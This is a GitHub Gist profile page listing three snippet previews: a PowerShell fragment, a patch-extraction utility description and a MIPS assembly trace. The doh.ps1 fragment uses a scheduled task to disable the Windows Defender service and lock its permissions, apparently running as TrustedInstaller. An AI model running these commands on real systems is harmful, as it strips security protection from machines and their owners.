Skip to content

Instantly share code, notes, and snippets.


Lays L4ys

View GitHub Profile
L4ys / doh.ps1
Created Jun 9, 2020 — forked from tyranid/doh.ps1
Something or other.
View doh.ps1
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
L4ys / PatchExtract125.ps1
Created May 24, 2019 — forked from moshekaplan/PatchExtract125.ps1
Patch Extract v1.25 by Greg Linares (@Laughing_Mantis)
View PatchExtract125.ps1
Version 1.25 Microsoft MSU Patch Extraction and Patch Organization Utility by Greg Linares (@Laughing_Mantis)
This Powershell script will extract a Microsoft MSU update file and then organize the output of extracted files and folders.
Organization of the output files is based on the patch's files and will organize them based on their archicture (x86, x64, or wow64)
as well as their content-type, ie: resource and catalog files will be moved to a JUNK subfolder and patch binaries and index files will
View trace.asm
# strlen(char* str) {
0x400770: addiu r29, r29, 0xffffffe8 # sp -= 0x18
0x400774: sw r30, [r29+0x14]
0x400778: move r30, r29
0x40077c: sw r4, [r30+0x18] # arg1
0x400780: sw r0, [r30+0x8] # i = 0
0x400784: lw r2, [r30+0x8] # r2 = i
0x400788: lw r3, [r30+0x18] # r3 = arg1
You can’t perform that action at this time.